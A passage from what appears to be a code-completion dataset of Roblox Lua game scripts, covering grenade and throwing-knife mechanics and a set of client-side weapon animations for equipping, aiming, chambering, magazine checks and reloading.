Camera\n\t\t\t\t\t\t\n\t\t\t\t\t\ttable.insert(Lines, Line)\n\t\t\t\t\t\t\n\t\t\t\t\t\tLastX,LastY = XPos,YPos\n\t\t\t\t\t\t\n\t\t\t\t\t\tif H then break end\n\t\t\t\t\telse\n\t\t\t\t\t\tLastX,LastY = XPos,YPos\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\twait()\n\t\t\t\t\n\t\t\t\tfor _,Line in pairs(Lines) do\n\t\t\t\t\tLine:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tTarget:Destroy()\n\t\tend)\n\tend\n\t\n\tlocal AnimTable = {\n\t\tfunction()\n\t\t\tTweenJoint(LWeld, CF(-1.5, 0, 0), CF(0, 0.6, 0), Linear, 0.2)\n\t\t\tTweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2)\n\t\t\tTweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.2)\n\t\t\twait(0.3)\n\t\tend;\n\t\n\t\tfunction()\n\t\t\tGrip.Part0 = Torso\n\t\t\tGrip.C1 = CF(-1, 0.5, -0.5)\n\t\t\t\n\t\t\tif S.LethalGrenadeType == 3 and Type == 1 then\n\t\t\t\tGrenade0 = CreateKnife()\n\t\t\t\tGrenade0.Parent = Gun_Ignore\n\t\t\t\t\n\t\t\t\tlocal Weld = Instance.new(\"Weld\")\n\t\t\t\tWeld.Part0 = FakeRArm\n\t\t\t\tWeld.Part1 = Grenade0\n\t\t\t\tWeld.C0 = Grip.C0\n\t\t\t\tWeld.C1 = CF(0, 0, -0.5) * CFANG(RAD(90), RAD(90), 0)\n\t\t\t\tWeld.Parent = Grenade0\n\t\t\t\t\n\t\t\t\tTweenJoint(LWeld2, CF(), CF(), Sine, 0.3)\n\t\t\t\tTweenJoint(RWeld2, CF(), CF(), Sine, 0.3)\n\t\t\t\tTweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3)\n\t\t\t\tTweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3)\n\t\t\t\twait(0.3)\n\t\t\telse\n\t\t\t\tGrenade0 = CreateGrenade()\n\t\t\t\tGrenade0.Parent = Gun_Ignore\n\t\t\t\t\n\t\t\t\tlocal Weld = Instance.new(\"Weld\")\n\t\t\t\tWeld.Part0 = FakeRArm\n\t\t\t\tWeld.Part1 = Grenade0:WaitForChild(\"Center\")\n\t\t\t\tWeld.C0 = Grip.C0\n\t\t\t\tWeld.Parent = Grenade0:WaitForChild(\"Center\")\n\t\t\t\t\n\t\t\t\tTweenJoint(LWeld2, CF(), CFANG(0, RAD(80), 0), Linear, 0.25)\n\t\t\t\tTweenJoint(RWeld2, CF(), CFANG(0, RAD(-80), 0), Linear, 0.25)\n\t\t\t\tTweenJoint(LWeld, ArmC0[1], CF(-0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(-30)), Linear, 0.25)\n\t\t\t\tTweenJoint(RWeld, ArmC0[2], CF(0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(30)), Linear, 0.25)\n\t\t\t\twait(0.3)\n\t\t\tend\n\t\tend;\n\t\n\t\tfunction()\n\t\t\trepeat wait() until (not Keys[S.LethalGrenadeKey]) and (not Keys[S.TacticalGrenadeKey]) or (not Selected)\n\t\tend;\n\t\n\t\tfunction()\n\t\t\tif S.LethalGrenadeType ~= 3 or Type == 2 then\n\t\t\t\tTweenJoint(LWeld2, CF(), CFANG(0, RAD(45), 0), Sine, 0.2)\n\t\t\t\tTweenJoint(RWeld2, CF(), CFANG(0, RAD(-45), 0), Sine, 0.2)\n\t\t\t\tTweenJoint(LWeld, ArmC0[1], CF(0, 0.8, 0.1), Sine, 0.2)\n\t\t\t\tTweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1), Sine, 0.2)\n\t\t\t\twait(0.2)\n\t\t\tend\n\t\tend;\n\t\n\t\tfunction()\n\t\t\tif S.LethalGrenadeType ~= 3 or Type == 2 then\n\t\t\t\tTweenJoint(LWeld2, CF(), CF(), Sine, 0.3)\n\t\t\t\tTweenJoint(RWeld2, CF(), CF(), Sine, 0.3)\n\t\t\t\tTweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3)\n\t\t\t\tTweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3)\n\t\t\t\twait(0.3)\n\t\t\tend\n\t\tend;\n\t\n\t\tfunction()\n\t\t\tTweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1) * CFANG(RAD(-10), 0, 0), Sine, 0.1)\n\t\t\twait(0.07)\n\t\tend;\n\t\n\t\tfunction()\n\t\t\tlocal Main = nil\n\t\t\tGrenade0:Destroy()\n\t\t\t\n\t\t\tif S.LethalGrenadeType == 3 and Type == 1 then\n\t\t\t\tlocal Grenade1 = CreateKnife()\n\t\t\t\tMain = Grenade1\n\t\t\t\t\n\t\t\t\tGrenade1.Parent = Gun_Ignore\n\t\t\t\t\n\t\t\t\tMain.CFrame = FakeRArm.CFrame * Grip.C0 * CF(0, 0.5, 0) * CFANG(RAD(-90), 0, RAD(90))\n\t\t\t\tMain.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity)\n\t\t\t\tMain.RotVelocity = (Main.CFrame * CFANG(RAD(90), 0, 0)).lookVector * 20\n\t\t\telse\n\t\t\t\tlocal Grenade1 = CreateGrenade()\n\t\t\t\tMain = Grenade1:WaitForChild(\"Center\")\n\t\t\t\t\n\t\t\t\tlocal Sound = Instance.new(\"Sound\")\n\t\t\t\tSound.SoundId = (Type == 1 and \"rbxassetid://180302005\" or \"rbxassetid://156283116\")\n\t\t\t\tSound.Volume = 1\n\t\t\t\tSound.PlayOnRemove = true\n\t\t\t\tSound.Parent = Main\n\t\t\t\t\n\t\t\t\tGrenade1.Parent = Gun_Ignore\n\t\t\t\t\n\t\t\t\tMain.CanCollide = true\n\t\t\t\tMain.CFrame = FakeRArm.CFrame * Grip.C0\n\t\t\t\tif Type == 1 then\n\t\t\t\t\tMain.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity)\n\t\t\t\telseif Type == 2 then\n\t\t\t\t\tMain.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.TacticalGrenadeThrowVelocity)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tspawn(function()\n\t\t\t\tif Type == 1 then\n\t\t\t\t\tif S.LethalGrenadeType == 1 then\n\t\t\t\t\t\tif S.TimerStartOnHit then\n\t\t\t\t\t\t\tlocal Detonated = false\n\t\t\t\t\t\t\tMain.Touched:connect(function(Obj)\n\t\t\t\t\t\t\t\tif IsIgnored(Obj) or Detonated then return end\n\t\t\t\t\t\t\t\tMain.Velocity = Main.Velocity / 4\n\t\t\t\t\t\t\t\tDetonated = true\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\twait(S.DetonationTime)\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDetonateExplosive(Main)\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\tlocal Touched = false\n\t\t\t\t\t\t\t\tMain.Touched:connect(function(Obj)\n\t\t\t\t\t\t\t\t\tif IsIgnored(Obj) or Touched then return end\n\t\t\t\t\t\t\t\t\tTouched = true\n\t\t\t\t\t\t\t\t\tMain.Velocity = Main.Velocity / 4\n\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\twait(S.DetonationTime)\n\t\t\t\t\t\t\tDetonateExplosive(Main)\n\t\t\t\t\t\tend\n\t\t\t\t\telseif S.LethalGrenadeType == 2 then\n\t\t\t\t\t\tlocal Detonated = false\n\t\t\t\t\t\tlocal GrenadeCF = nil\n\t\t\t\t\t\tMain.Touched:connect(function(Obj)\n\t\t\t\t\t\t\tif IsIgnored(Obj) or Detonated then return end\n\t\t\t\t\t\t\tGrenadeCF = Main.CFrame\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\t\t\t\tW.Name = \"Semtex\"\n\t\t\t\t\t\t\tW.Part0 = Main\n\t\t\t\t\t\t\tW.Part1 = Obj\n\t\t\t\t\t\t\tW.C0 = GrenadeCF:toObjectSpace(Obj.CFrame)\n\t\t\t\t\t\t\tW.Parent = Main\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tMain.ChildRemoved:connect(function(C)\n\t\t\t\t\t\t\t\tif C.Name == \"Semtex\" then\n\t\t\t\t\t\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\t\t\t\t\t\tW.Name = \"Semtex\"\n\t\t\t\t\t\t\t\t\tW.Part0 = Main\n\t\t\t\t\t\t\t\t\tW.Part1 = Obj\n\t\t\t\t\t\t\t\t\tW.C0 = GrenadeCF:toObjectSpace(Obj.CFrame)\n\t\t\t\t\t\t\t\t\tW.Parent = Main\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif S.TimerStartOnHit then\n\t\t\t\t\t\t\t\tDetonated = true\n\t\t\t\t\t\t\t\twait(S.DetonationTime)\n\t\t\t\t\t\t\t\tDetonateExplosive(Main)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (not S.TimerStartOnHit) then\n\t\t\t\t\t\t\twait(S.DetonationTime)\n\t\t\t\t\t\t\tDetonated = true\n\t\t\t\t\t\t\tDetonateExplosive(Main)\n\t\t\t\t\t\tend\n\t\t\t\t\telseif S.LethalGrenadeType == 3 then\n\t\t\t\t\t\tlocal Touched = false\n\t\t\t\t\t\tMain.Touched:connect(function(Obj)\n\t\t\t\t\t\t\tif IsIgnored(Obj) or Touched then return end\n\t\t\t\t\t\t\tTouched = true\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\t\t\t\tW.Name = \"Sticky\"\n\t\t\t\t\t\t\tW.Part0 = Main\n\t\t\t\t\t\t\tW.Part1 = Obj\n\t\t\t\t\t\t\tW.C0 = Main.CFrame:toObjectSpace(Obj.CFrame)\n\t\t\t\t\t\t\tW.Parent = Main\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tMain.ChildRemoved:connect(function(C)\n\t\t\t\t\t\t\t\tif C.Name == \"Sticky\" then\n\t\t\t\t\t\t\t\t\tlocal W = Instance.new(\"Weld\")\n\t\t\t\t\t\t\t\t\tW.Name = \"Sticky\"\n\t\t\t\t\t\t\t\t\tW.Part0 = Main\n\t\t\t\t\t\t\t\t\tW.Part1 = Obj\n\t\t\t\t\t\t\t\t\tW.C0 = Main.CFrame:toObjectSpace(Obj.CFrame)\n\t\t\t\t\t\t\t\t\tW.Parent = Main\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif Obj then\n\t\t\t\t\t\t\t\tif Obj.Parent.ClassName == \"Hat\" then\n\t\t\t\t\t\t\t\t\tlocal HitHumanoid = FindFirstClass(Obj.Parent.Parent, \"Humanoid\")\n\t\t\t\t\t\t\t\t\tif HitHumanoid and IsEnemy(HitHumanoid) then\n\t\t\t\t\t\t\t\t\t\tlocal CreatorTag = Instance.new(\"ObjectValue\")\n\t\t\t\t\t\t\t\t\t\tCreatorTag.Name = \"creator\"\n\t\t\t\t\t\t\t\t\t\tCreatorTag.Value = Player\n\t\t\t\t\t\t\t\t\t\tCreatorTag.Parent = HitHumanoid\n\t\t\t\t\t\t\t\t\t\tHitHumanoid:TakeDamage(HitHumanoid.MaxHealth)\n\t\t\t\t\t\t\t\t\t\tMarkHit()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tlocal HitHumanoid = FindFirstClass(Obj.Parent, \"Humanoid\")\n\t\t\t\t\t\t\t\t\tif HitHumanoid and IsEnemy(HitHumanoid) then\n\t\t\t\t\t\t\t\t\t\tlocal CreatorTag = Instance.new(\"ObjectValue\")\n\t\t\t\t\t\t\t\t\t\tCreatorTag.Name = \"creator\"\n\t\t\t\t\t\t\t\t\t\tCreatorTag.Value = Player\n\t\t\t\t\t\t\t\t\t\tCreatorTag.Parent = HitHumanoid\n\t\t\t\t\t\t\t\t\t\tHitHumanoid:TakeDamage(HitHumanoid.MaxHealth)\n\t\t\t\t\t\t\t\t\t\tMarkHit()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\twait(3)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tMain:Destroy()\n\t\t\t\t\t\tend)\n\t\t\t\t\tend\n\t\t\t\telseif Type == 2 then\n\t\t\t\t\tif S.TacticalGrenadeType == 1 then\n\t\t\t\t\t\tif S.TimerStartOnHit then\n\t\t\t\t\t\t\tlocal Detonated = false\n\t\t\t\t\t\t\tMain.Touched:connect(function(Obj)\n\t\t\t\t\t\t\t\tif IsIgnored(Obj) or Detonated then return end\n\t\t\t\t\t\t\t\tMain.Velocity = Main.Velocity / 2\n\t\t\t\t\t\t\t\tDetonated = true\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\twait(S.DetonationTime)\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDetonateSmoke(Main)\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\tlocal Touched = false\n\t\t\t\t\t\t\t\tMain.Touched:connect(function(Obj)\n\t\t\t\t\t\t\t\t\tif IsIgnored(Obj) or Touched then return end\n\t\t\t\t\t\t\t\t\tTouched = true\n\t\t\t\t\t\t\t\t\tMain.Velocity = Main.Velocity / 2\n\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\twait(S.DetonationTime)\n\t\t\t\t\t\t\tDetonateSmoke(Main)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tif S.GrenadeTrail and S.GrenadeTrailTransparency ~= 1 then\n\t\t\t\tspawn(function()\n\t\t\t\t\tlocal LastPos = nil\n\t\t\t\t\twhile true do\n\t\t\t\t\t\tif LastPos then\n\t\t\t\t\t\t\tif (not Main:IsDescendantOf(game))\n\t\t\t\t\t\t\tor (Main.Name == \"Knife\" and FindFirstClass(Main, \"Weld\")) then\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal Trail = Instance.new(\"Part\")\n\t\t\t\t\t\t\tTrail.BrickColor = S.GrenadeTrailColor\n\t\t\t\t\t\t\tTrail.Transparency = S.GrenadeTrailTransparency\n\t\t\t\t\t\t\tTrail.Anchored = true\n\t\t\t\t\t\t\tTrail.CanCollide = false\n\t\t\t\t\t\t\tTrail.Size = VEC3(1, 1, 1)\n\t\t\t\t\t\t\tlocal Mesh = Instance.new(\"BlockMesh\")\n\t\t\t\t\t\t\tMesh.Offset = VEC3(0, 0, -(Main.Position - LastPos).magnitude / 2)\n\t\t\t\t\t\t\tMesh.Scale = VEC3(S.GrenadeTrailThickness, S.GrenadeTrailThickness, (Main.Position - LastPos).magnitude)\n\t\t\t\t\t\t\tMesh.Parent = Trail\n\t\t\t\t\t\t\tTrail.Parent = Gun_Ignore\n\t\t\t\t\t\t\tTrail.CFrame = CF(LastPos, Main.Position)\n\t\t\t\t\t\t\tdelay(S.GrenadeTrailVisibleTime, function()\n\t\t\t\t\t\t\t\tif S.GrenadeTrailDisappearTime > 0 then\n\t\t\t\t\t\t\t\t\tlocal X = 0\n\t\t\t\t\t\t\t\t\twhile true do\n\t\t\t\t\t\t\t\t\t\tif X == 90 then break end\n\t\t\t\t\t\t\t\t\t\tif (not Selected) then break end\n\t\t\t\t\t\t\t\t\t\tlocal NewX = X + (1.5 / S.GrenadeTrailDisappearTime)\n\t\t\t\t\t\t\t\t\t\tX = (NewX > 90 and 90 or NewX)\n\t\t\t\t\t\t\t\t\t\tlocal Alpha = X / 90\n\t\t\t\t\t\t\t\t\t\tTrail.Transparency = NumLerp(S.GrenadeTrailTransparency, 1, Alpha)\n\t\t\t\t\t\t\t\t\t\tRS:wait()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tTrail:Destroy()\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tTrail:Destroy()\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\tLastPos = Main.Position\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tLastPos = Main.Position\n\t\t\t\t\t\tend\n\t\t\t\t\t\tRS:wait()\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\t\twait(0.2)\n\t\tend;\n\t\n\t\tfunction()\n\t\t\tTweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2)\n\t\t\twait(0.3)\n\t\tend;\n\t\n\t\tfunction()\n\t\t\tGrip.Part0 = RArm\n\t\t\tGrip.C1 = CFANG(0, RAD(20), 0)\n\t\t\t\n\t\t\tTweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Linear, 0.2)\n\t\t\tTweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Linear, 0.2)\n\t\t\twait(0.2)\n\t\tend;\n\t}\n\t\n\tfor _,F in pairs(AnimTable) do\n\t\tif (not Selected) then\n\t\t\tbreak\n\t\tend\n\t\tF()\n\tend\n\t\n\tif (not Selected) and Grenade0 then\n\t\tGrenade0:Destroy()\n\tend\nend\n"} +{"prompt": "--//Client Animations", "completion": "\n\t\tIdleAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)\t\n\t\tend;\n\t\t\n\t\tStanceDown = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tStanceUp = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\t\t\n\t\tPatrol = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tSprintAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tEquipAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.1)\n\t\t\tobjs[5].Handle:WaitForChild(\"AimUp\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()\n\t\t\twait(0.5)\n\t\tend;\n\n\t\tZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tUnZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tChamberAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.35, -1.4) * CFrame.Angles(math.rad(-115), math.rad(-10), math.rad(10))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(-0.15,0.05,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()\n\t\t\twait(0.35)\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlidePull\"):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.15,-0.275,-1.175) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(0.3)\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\tend;\n\n\t\tChamberBKAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,0.05,-1.5) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\t\twait(0.15)\n\t\tend;\n\t\t\n\t\tCheckAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(.35)\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\t\t\t\n\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild(\"Left Arm\").CFrame)\n\t\t\tts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()\n\t\t\twait(1.5)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tShellInsertAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\twait(0.3)\n\t\t\tobjs[5].Handle:WaitForChild(\"ShellInsert\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\tobjs[6].Value = objs[6].Value - 1\n\t\t\tobjs[7].Value = objs[7].Value + 1\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tReloadAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * 